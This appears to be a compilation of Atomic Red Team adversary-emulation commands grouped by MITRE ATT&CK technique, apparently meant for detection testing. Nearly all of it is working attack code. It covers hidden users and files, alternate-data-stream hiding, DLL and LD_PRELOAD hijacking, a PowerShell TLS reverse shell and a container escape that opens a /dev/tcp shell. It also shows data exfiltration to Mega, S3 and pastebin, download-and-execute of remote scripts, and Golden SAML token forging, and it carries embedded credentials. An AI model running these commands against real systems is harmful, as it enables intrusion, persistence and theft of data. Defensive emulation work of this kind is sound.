T1564.001 - Hide Artifacts: Hidden Files and Directories

Hidden files

setfile -a V /tmp/evil

T1564.001 - Hide Artifacts: Hidden Files and Directories

Hide a Directory

touch /var/tmp/T1564.001_mac.txt
chflags hidden /var/tmp/T1564.001_mac.txt

T1564.001 - Hide Artifacts: Hidden Files and Directories

Show all hidden files

defaults write com.apple.finder AppleShowAllFiles YES

T1564.001 - Hide Artifacts: Hidden Files and Directories

Hide Files Through Registry

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f

T1564.001 - Hide Artifacts: Hidden Files and Directories

Create Windows Hidden File with powershell

$file = Get-Item $env:temp\T1564.001-9.txt -Force
$file.attributes='Hidden'

T1564.001 - Hide Artifacts: Hidden Files and Directories

Create Windows System File with powershell

$file = Get-Item $env:temp\T1564.001-10.txt -Force
$file.attributes='System'

T1564.002 - Hide Artifacts: Hidden Users

Create Hidden User using UniqueID < 500

sudo dscl . -create /Users/APT UniqueID 333

T1564.002 - Hide Artifacts: Hidden Users

Create Hidden User using IsHidden option

sudo dscl . -create /Users/APT IsHidden 1

T1564.002 - Hide Artifacts: Hidden Users

Create Hidden User in Registry

NET USER AtomicOperator$ At0micRedTeam! /ADD /expires:never
REG ADD "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v AtomicOperator$ /t REG_DWORD /d 0

T1564.003 - Hide Artifacts: Hidden Window

Hidden Window

Start-Process powershell.exe -WindowStyle hidden calc.exe

T1564.003 - Hide Artifacts: Hidden Window

Headless Browser Accessing Mockbin

start "" chrome --headless --disable-gpu https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec

T1564.003 - Hide Artifacts: Hidden Window

Hidden Window-Conhost Execution

conhost.exe --headless calc.exe

T1564.004 - Hide Artifacts: NTFS File Attributes

Alternate Data Streams (ADS)

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 c:\ADS\\procexp.cab c:\ADS\\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\\procexp.exe > c:\ADS\\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\temp:ttt
makecab c:\ADS\\autoruns.exe c:\ADS\\cabtest.txt:autoruns.cab
print /D:c:\ADS\\file.txt:autoruns.exe c:\ADS\\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ADS\\file.txt:evilreg.reg
regedit /E c:\ADS\\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\\file.txt:file.bat
esentutl.exe /y c:\ADS\\autoruns.exe /d c:\ADS\\file.txt:autoruns.exe /o

T1564.004 - Hide Artifacts: NTFS File Attributes

Store file in Alternate Data Stream (ADS)

if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\yanki
}
Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,c:\windows\system32\cmd.exe,>,`"C:\Users\Public\Libraries\yanki\desktop.ini:desktop.ini`""

T1564.004 - Hide Artifacts: NTFS File Attributes

Create ADS command prompt

echo cmd /c echo "Shell code execution."> %temp%\T1564.004_has_ads_cmd.txt:adstest.txt
for /f "usebackq delims=?" %i in (%temp%\T1564.004_has_ads_cmd.txt:adstest.txt) do %i

T1564.004 - Hide Artifacts: NTFS File Attributes

Create ADS PowerShell

echo "test" > $env:TEMP\T1564.004_has_ads_powershell.txt | set-content -path test.txt -stream adstest.txt -value "test"
set-content -path $env:TEMP\T1564.004_has_ads_powershell.txt -stream adstest.txt -value "test2"
set-content -path . -stream adstest.txt -value "test3"

T1564.004 - Hide Artifacts: NTFS File Attributes

Create Hidden Directory via $index_allocation

md %temp%\...$.......::$index_allocation
echo too many secrets > %temp%\...$.......::$index_allocation\secrets.txt

T1564.006 - Run Virtual Instance

Register Portable Virtualbox

"C:\Program Files\Oracle\VirtualBox\VBoxSVC.exe" /reregserver
regsvr32 /S "C:\Program Files\Oracle\VirtualBox\VboxC.dll"
rundll32 "C:\Program Files\Oracle\VirtualBox\VBoxRT.dll,RTR3Init"
sc create VBoxDRV binpath= "C:\Program Files\Oracle\VirtualBox\drivers\VboxDrv.sys" type= kernel start= auto error= normal displayname= PortableVBoxDRV
sc start VBoxDRV

T1564.006 - Run Virtual Instance

Create and start VirtualBox virtual machine

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" createvm --name "Atomic VM" --register
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "Atomic VM" --firmware efi
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm "Atomic VM"

T1564.006 - Run Virtual Instance

Create and start Hyper-V virtual machine

$VM = "Atomic VM"
New-VM -Name $VM -Generation 2
Set-VMFirmware $VM -EnableSecureBoot Off
Start-VM $VM

T1564.008 - Hide Artifacts: Email Hiding Rules

New-Inbox Rule to Hide E-mail in M365

Import-Module ExchangeOnlineManagement
$password = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "john@contoso.com", $password
Connect-ExchangeOnline -Credential $credential -ErrorAction:SilentlyContinue
New-InboxRule -Mailbox jane@contoso.com -Name default -SubjectOrBodyContainsWords ("phish","malware","hacked") -Confirm:$false -DeleteMessage:$true

T1564 - Hide Artifacts

Extract binary files via VBA

$macro = [System.IO.File]::ReadAllText("T1564\src\T1564-macrocode.txt")
$macro = $macro -replace "aREPLACEMEa", "T1564\bin\extractme.bin"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap

T1564 - Hide Artifacts

Create a Hidden User Called "$"

net user $ ATOMIC123! /add /active:yes

T1564 - Hide Artifacts

Create an "Administrator " user (with a space on the end)

New-LocalUser -Name "Administrator " -NoPassword

T1564 - Hide Artifacts

Create and Hide a Service with sc.exe

sc.exe create AtomicService binPath= "C:\Windows\System32\calc.exe"
sc sdset AtomicService "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

T1564 - Hide Artifacts

Command Execution with NirCmd

cmd /c "..\ExternalPayloads\nircmd.exe" win child class "Shell_TrayWnd" hide class "TrayClockWClass"

T1566.001 - Phishing: Spearphishing Attachment

Download Macro-Enabled Phishing Attachment

$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm

T1566.001 - Phishing: Spearphishing Attachment

Word spawned a command shell and used an IP address in the command line

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = " Open `"C:\Users\Public\art.jse`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "Word"

T1566.002 - Phishing: Spearphishing Link

Paste and run technique

# Add user32.dll for keybd_event
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class K {
[DllImport("user32.dll")]
public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
}
"@

# Virtual key codes
$VK_LWIN, $VK_R, $KEYDOWN, $KEYUP = 0x5B, 0x52, 0x0000, 0x0002

# Open Run dialog (Win+R)
[K]::keybd_event($VK_LWIN, 0, $KEYDOWN, [UIntPtr]::Zero)
[K]::keybd_event($VK_R, 0, $KEYDOWN, [UIntPtr]::Zero)
[K]::keybd_event($VK_R, 0, $KEYUP, [UIntPtr]::Zero)
[K]::keybd_event($VK_LWIN, 0, $KEYUP, [UIntPtr]::Zero)

# Short delay for Run dialog
Start-Sleep -Milliseconds 500
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.SendKeys]::SendWait("cmd /c powershell -ec " + [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('calc.exe')) + "{ENTER}")

T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage

Exfiltrate data with rclone to cloud Storage - Mega (Windows)

New-Item $env:appdata\rclone -ItemType directory
New-Item $env:appdata\rclone\rclone.conf
cd "..\ExternalPayloads\T1567.002\rclone-v*\"
.\rclone.exe config create T1567002 mega
set-Content $env:appdata\rclone\rclone.conf "[T1567002] `n type = mega `n user = atomictesting@outlook.com `n pass = vmcjt1A_LEMKEXXy0CKFoiFCEztpFLcZVNinHA"
.\rclone.exe copy --max-size 1700k "..\ExternalPayloads\T1567.002" T1567002:test -v

T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage

Exfiltrate data with rclone to cloud Storage - AWS S3

Write-Host "Deploying AWS infrastructure... " -NoNewLine
$awsAccessKey = ""
$awsSecretKey = ""
cd T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
$env:AWS_PROFILE = "default"
} else {
$env:AWS_ACCESS_KEY_ID = "$awsAccessKey"
$env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey"
}
$null = ../ExternalPayloads/T1567.002/terraform-v*/terraform init
$null = ../ExternalPayloads/T1567.002/terraform-v*/terraform apply -var "aws_region=us-east-1" -auto-approve
Write-Host "Done!"
Write-Host "Generating rclone config... " -NoNewLine
$config = @"
[exfils3]
type = s3
provider = AWS
env_auth = true
region = us-east-1
"@
$config | Out-File -FilePath "../ExternalPayloads/T1567.002/rclone.conf" -Encoding ascii
Write-Host "Done!"
Write-Host "Exfiltrating data... " -NoNewLine
$bucket = "$(../ExternalPayloads/T1567.002/terraform-v*/terraform output bucket)".Replace("`"","")
cd ../ExternalPayloads/T1567.002/rclone-v*
$null = ./rclone copy --max-size 1700k "../ExternalPayloads/T1567.002/data/" exfils3:$bucket --config "../ExternalPayloads/T1567.002/rclone.conf"
Write-Host "Done!"

T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites

Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)

$apiKey = "6nxrBm7UIJuaEuPOkH5Z8I7SvCLN3OP0"
$content = "secrets, api keys, passwords..."
$url = "https://pastebin.com/api/api_post.php"
$postData = @{
api_dev_key = $apiKey
api_option = "paste"
api_paste_code = $content
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
Write-Host "Your paste URL: $response"

T1569.001 - System Services: Launchctl

Launchctl

launchctl submit -l evil -- /System/Applications/Calculator.app/Contents/MacOS/Calculator

T1569.002 - System Services: Service Execution

Execute a Command as a Service

sc.exe create ARTService binPath= "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt"
sc.exe start ARTService
sc.exe delete ARTService

T1569.002 - System Services: Service Execution

Use PsExec to execute a command on a remote host

"..\ExternalPayloads\PsExec.exe" \\localhost -i -u DOMAIN\Administrator -p P@ssw0rd1 -accepteula "C:\Windows\System32\calc.exe"

T1569.002 - System Services: Service Execution

psexec.py (Impacket)

psexec.py '/Administrator:P@ssw0rd1@127.0.0.1' 'whoami'

T1569.002 - System Services: Service Execution

BlackCat pre-encryption cmds with Lateral Movement

cmd.exe /c "wmic csproduct get UUID"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1"
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
copy "..\ExternalPayloads\PsExec.exe" $env:temp
cmd.exe /c "$env:temp\psexec.exe -accepteula \\$ENV:COMPUTERNAME cmd.exe /c echo "--access-token""

T1569.002 - System Services: Service Execution

Use RemCom to execute a command on a remote host

"..\ExternalPayloads\remcom.exe" \\localhost /user:Administrator /pwd:P@ssw0rd1 cmd.exe

T1569.002 - System Services: Service Execution

Snake Malware Service Create

sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto

T1569.002 - System Services: Service Execution

Modifying ACL of Service Control Manager via SDET

sc.exe sdset scmanager D:(A;;KA;;;WD)

T1569.002 - System Services: Service Execution

Pipe Creation - PsExec Tool Execution From Suspicious Locations

cd C:\Users\Public\Temp\
.\PsExec.exe -i -s cmd -accepteula

T1570 - Lateral Tool Transfer

Exfiltration Over SMB over QUIC (New-SmbMapping)

New-SmbMapping -RemotePath '\\example.com\sales' -TransportType QUIC -SkipCertificateCheck
copy 'C:\path\to\file.txt' 'Z:\'

T1570 - Lateral Tool Transfer

Exfiltration Over SMB over QUIC (NET USE)

NET USE * '\\example.com\sales' /TRANSPORT:QUIC /SKIPCERTCHECK
copy 'C:\path\to\file.txt' '*:\'

T1571 - Non-Standard Port

Testing usage of uncommonly used port with PowerShell

Test-NetConnection -ComputerName google.com -port 8081

T1571 - Non-Standard Port

Testing usage of uncommonly used port

echo quit | telnet google.com 8081
exit 0

T1572 - Protocol Tunneling

DNS over HTTPS Large Query Volume

for($i=0; $i -le 1000; $i++) { (Invoke-WebRequest "https://8.8.8.8/resolve?name=atomicredteam.$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.xip.io&type=TXT" -UseBasicParsing).Content }

T1572 - Protocol Tunneling

DNS over HTTPS Regular Beaconing

Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-beacon.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30

T1572 - Protocol Tunneling

DNS over HTTPS Long Domain Query

Set-Location "PathToAtomicsFolder"
.\T1572\src\T1572-doh-domain-length.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT

T1572 - Protocol Tunneling

run ngrok

C:\Users\Public\ngrok\ngrok.exe config add-authtoken N/A | Out-Null
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp 3389 } | Out-Null
Start-Sleep -s 5
Stop-Job -Name Job1 | Out-Null

T1572 - Protocol Tunneling

Microsoft Dev tunnels (Linux/macOS)

../ExternalPayloads/devtunnel host -p 8080 &

T1572 - Protocol Tunneling

VSCode tunnels (Linux/macOS)

nohup code tunnel --accept-server-license-terms >/dev/null 2>&1 &

T1572 - Protocol Tunneling

Cloudflare tunnels (Linux/macOS)

nohup ../ExternalPayloads/cloudflared tunnel --url localhost:8080 >/dev/null 2>&1 &

T1573 - Encrypted Channel

OpenSSL C2

$server_ip = 127.0.0.1
$server_port = 443
$socket = New-Object Net.Sockets.TcpClient('127.0.0.1', '443')
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

T1574.001 - Hijack Execution Flow: DLL

DLL Search Order Hijacking - amsi.dll

copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
%APPDATA%\updater.exe -Command exit

T1574.001 - Hijack Execution Flow: DLL

Phantom Dll Hijacking - WinAppXRT.dll

copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
ren %APPDATA%\amsi.dll WinAppXRT.dll
copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll
reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f

T1574.001 - Hijack Execution Flow: DLL

Phantom Dll Hijacking - ualapi.dll

copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
ren %APPDATA%\amsi.dll ualapi.dll
copy %APPDATA%\ualapi.dll %windir%\System32\ualapi.dll
sc config Spooler start=auto

T1574.001 - Hijack Execution Flow: DLL

DLL Side-Loading using the Notepad++ GUP.exe binary

"T1574.002\bin\GUP.exe"

T1574.001 - Hijack Execution Flow: DLL

DLL Side-Loading using the dotnet startup hook environment variable

set DOTNET_STARTUP_HOOKS="T1574.002\bin\preloader.dll"
dotnet -h > nul
echo.

T1574.001 - Hijack Execution Flow: DLL

DLL Search Order Hijacking,DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE

Write-Host 1.Downloading KeyScrambler from official website to temp directory
Invoke-WebRequest -Uri "https://download.qfxsoftware.com/download/latest/KeyScrambler_Setup.exe" -OutFile $env:Temp\KeyScrambler_Setup.exe
Write-Host 2.Installing KeyScrambler with KeyScrambler_Setup.exe from temp directory
Start-Process -FilePath $env:Temp\KeyScrambler_Setup.exe -ArgumentList /S -Wait
Write-Host 3.Copying KeyScrambler.exe to temp folder,to avoid permission issues, which calls KeyScramblerIE.dll in CWD i.e. temp
Copy-Item "C:\Program Files (x86)\KeyScrambler\KeyScrambler.exe" -Destination $env:TEMP\KeyScrambler.exe
Write-Host 4.Executing KeyScrambler.exe, you should see a popup of missing KeyScramblerIE.dll, you can close this popup
Start-Process -FilePath $env:Temp\KeyScrambler.exe
Write-Host 5.A modified KeyScramblerIE.dll can be copied to temp, which can be misused by Attacker

T1574.006 - Hijack Execution Flow: LD_PRELOAD

Shared Library Injection via /etc/ld.so.preload

sudo sh -c 'echo /tmp/T1574006.so > /etc/ld.so.preload'

T1574.006 - Hijack Execution Flow: LD_PRELOAD

Shared Library Injection via LD_PRELOAD

LD_PRELOAD=/tmp/T1574006.so ls

T1574.006 - Hijack Execution Flow: LD_PRELOAD

Dylib Injection via DYLD_INSERT_LIBRARIES

DYLD_INSERT_LIBRARIES=/tmp/T1574006MOS.dylib /Applications/Firefox.app/Contents/MacOS/firefox

T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking

powerShell Persistence via hijacking default modules - Get-Variable.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "T1574.008\bin\calc.cs"
Powershell -noprofile

T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path

Execution of program.exe as service with unquoted service path

copy "T1574.009\bin\WindowsServiceExample.exe" "C:\Program Files\windows_service.exe"
copy "T1574.009\bin\WindowsServiceExample.exe" "C:\program.exe"
sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto
sc start "Example Service"

T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness

Service Registry Permissions Weakness

get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\* |FL
get-acl REGISTRY::HKLM\SYSTEM\CurrentControlSet\Services\weakservicename |FL

T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness

Service ImagePath Change with reg.exe

reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\calcservice" /f /v ImagePath /d "%windir%\system32\cmd.exe"

T1574.012 - Hijack Execution Flow: COR_PROFILER

User scope COR_PROFILER

Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\{09108e71-974c-4010-89cb-acf471ae9e2c}" -ForegroundColor Cyan
New-Item -Path "HKCU:\Software\Classes\CLSID\{09108e71-974c-4010-89cb-acf471ae9e2c}\InprocServer32" -Value "T1574.012\bin\T1574.012x64.dll" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "{09108e71-974c-4010-89cb-acf471ae9e2c}" -Force | Out-Null
New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "T1574.012\bin\T1574.012x64.dll" -Force | Out-Null
Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
START MMC.EXE EVENTVWR.MSC

T1574.012 - Hijack Execution Flow: COR_PROFILER

System Scope COR_PROFILER

Write-Host "Creating system environment variables" -ForegroundColor Cyan
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "{09108e71-974c-4010-89cb-acf471ae9e2c}" -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "T1574.012\bin\T1574.012x64.dll" -Force | Out-Null

T1574.012 - Hijack Execution Flow: COR_PROFILER

Registry-free process scope COR_PROFILER

$env:COR_ENABLE_PROFILING = 1
$env:COR_PROFILER = '{09108e71-974c-4010-89cb-acf471ae9e2c}'
$env:COR_PROFILER_PATH = '"T1574.012\bin\T1574.012x64.dll"'
POWERSHELL -c 'Start-Sleep 1'

T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot

AWS - Create Snapshot from EBS Volume

aws ec2 create-snapshot --region us-east-1 --volume-id vol-0123456789abcdef0 --description "Atomic Red Team Test Snapshot" --query "SnapshotId" --output text

T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot

Azure - Create Snapshot from Managed Disk

az snapshot create --resource-group myResourceGroup --name mySnapshotName --source myDiskName --location eastus

T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot

GCP - Create Snapshot from Persistent Disk

gcloud compute snapshots create mySnapshotName --source-disk=myDiskName --zone=us-central1-a

T1580 - Cloud Infrastructure Discovery

AWS - EC2 Enumeration from Cloud Instance

export AWS_REGION=us-west-2
cd $T1580/src
echo "Stratus: Start Warmup."
./stratus warmup aws.discovery.ec2-enumerate-from-instance
echo "Stratus: Start Detonate."
./stratus detonate aws.discovery.ec2-enumerate-from-instance

T1580 - Cloud Infrastructure Discovery

AWS - EC2 Security Group Enumeration

aws ec2 describe-security-groups --profile default --output json

T1592.001 - Gather Victim Host Information: Hardware

Enumerate PlugNPlay Camera

Get-CimInstance -Query "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')"

T1595.003 - Active Scanning: Wordlist Scanning

Web Server Wordlist Scan

Import-Module "T1595.003/src/WebServerScan.ps1"
Invoke-WordlistScan -Target "http://localhost" -Wordlist "T1595.003/src/wordlist.txt" -Timeout "5" -OutputFile "$env:TMPDIR/wordlist_scan.txt"
Write-Host "Scan complete. Results saved to: $env:TMPDIR/wordlist_scan.txt"

T1606.002 - Forge Web Credentials: SAML token

Golden SAML

Import-Module AADInternals -Force
$saml = New-AADIntSAMLToken -ImmutableID "aehgdqBTZV50DKQZmNJ8mg==" -PfxFileName ".\ADFS_signing.pfx" -Issuer "http://contoso.com/adfs/services/trust/"
$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache
if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" }
Write-Host "End of Golden SAML"

T1609 - Kubernetes Exec Into Container

ExecIntoContainer

kubectl create -f $PathtoAtomicsFolder/T1609/src/busybox.yaml -n default
# wait 3 seconds for the instance to come up
sleep 3
kubectl exec -n default busybox -- uname

T1609 - Kubernetes Exec Into Container

Docker Exec Into Container

docker build -t t1609 $PathtoAtomicsFolder/T1609/src/
docker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh
docker exec -i t1609_container bash -c "cat /tmp/output.txt"

T1610 - Deploy a container

Deploy Docker container

docker build -t t1610 $PathtoAtomicsFolder/T1610/src/
docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh

T1611 - Escape to Host

Deploy container using nsenter container escape

kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'

T1611 - Escape to Host

Mount host filesystem to escape privileged Docker container

if [ ! -d /mnt/T1611.002 ]; then mkdir /mnt/T1611.002 ; mount /dev/dm-0 /mnt/T1611.002; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > /mnt/T1611.002/etc/cron.d/T1611_002
echo -n "$" >> /mnt/T1611.002/etc/cron.d/T1611_002
echo -n "(hostname) " >> /mnt/T1611.002/etc/cron.d/T1611_002
echo -n "$" >> /mnt/T1611.002/etc/cron.d/T1611_002
echo "(id)\" >& /dev/tcp/`ifconfig eth0 | grep inet | awk '{print $2}'`/4444 0>&1'" >> /mnt/T1611.002/etc/cron.d/T1611_002
netcat -l -p 4444 2>&1

T1611 - Escape to Host

Privilege Escalation via Docker Volume Mapping

echo "Current user: docker_user"
sudo -u docker_user sh -c "sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id"

T1612 - Build Image on Host

Build Image On Host

docker build -t t1612 $PathtoAtomicsFolder/T1612/src/
docker run --name t1612_container --rm -d -t t1612
docker exec t1612_container ./test.sh

T1613 - Container and Resource Discovery

Docker Container and Resource Discovery

docker build -t t1613 $PathtoAtomicsFolder/T1613/src/
docker run --name t1613_container --rm -d -t t1613
docker ps
docker stats --no-stream
docker inspect $(docker ps -l -q --filter ancestor=t1613)

T1613 - Container and Resource Discovery

Podman Container and Resource Discovery

podman build -t t1613 $PathtoAtomicsFolder/T1613/src/
podman run --name t1613_container --rm -d -t t1613
podman ps
podman stats --no-stream
podman inspect $(podman ps -l -q --filter ancestor=t1613)

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language by Registry Query

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language with chcp

chcp

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language with locale

locale

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language with localectl

localectl status

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language by locale file

[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language by Environment Variable Query

env | grep LANG
printenv LANG
set | grep LANG

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language with dism.exe

dism.exe /online /Get-Intl

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language by Windows API Query

..\ExternalPayloads\LanguageKeyboardLayout.exe

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language with WMIC

wmic /node:localhost os get Locale,OSLanguage,MUILanguages /format:table

T1614.001 - System Location Discovery: System Language Discovery

Discover System Language with Powershell

$info = @{
UILanguage = Get-WinUILanguageOverride
UserLanguages = (Get-WinUserLanguageList).LanguageTag -join ', '
SystemLocale = Get-WinSystemLocale
CurrentCulture = [System.Globalization.CultureInfo]::CurrentCulture.Name
CurrentUICulture = [System.Globalization.CultureInfo]::CurrentUICulture.Name
TimeZone = (Get-TimeZone).Id
}
$info.GetEnumerator() | ForEach-Object { "$($_.Name): $($_.Value)" }

T1614 - System Location Discovery

Get geolocation info through IP-Lookup services using curl Windows

C:\Windows\System32\Curl.exe -k https://ipinfo.io/

T1614 - System Location Discovery

Get geolocation info through IP-Lookup services using curl freebsd, linux or macos

curl -k https://ipinfo.io/

T1615 - Group Policy Discovery

Display group policy information via gpresult

gpresult /z

T1615 - Group Policy Discovery

Get-DomainGPO to display group policy information via PowerView

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO"

T1615 - Group Policy Discovery

WinPwn - GPOAudit

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
GPOAudit -noninteractive -consoleoutput

T1615 - Group Policy Discovery

